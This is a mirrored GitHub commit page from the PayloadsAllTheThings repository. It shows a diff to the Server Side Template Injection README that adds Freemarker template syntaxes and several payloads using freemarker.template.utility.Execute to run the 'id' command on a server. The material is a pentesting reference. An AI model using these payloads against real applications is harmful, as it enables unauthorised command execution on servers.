Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-13 14:52:53 +00:00
Code Issues Projects Releases Packages Wiki Activity

Merge pull request #608 from Aur0ra-m/master

Browse source 
Update README.md
This commit is contained in:
Swissky 2022-12-27 18:26:52 +01:00 committed by GitHub
commit 4888188ce4
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

8
Server Side Template Injection/README.md
View file

@ -199,7 +199,11 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre
### Freemarker - Basic injection
The template can be `${3*3}` or the legacy `#{3*3}`.
The template can be :
* Default: `${3*3}`
* Legacy: `#{3*3}`
* Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html)
### Freemarker - Read File
@ -214,6 +218,8 @@ Convert the returned bytes to ASCII
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
```
### Freemarker - Sandbox bypass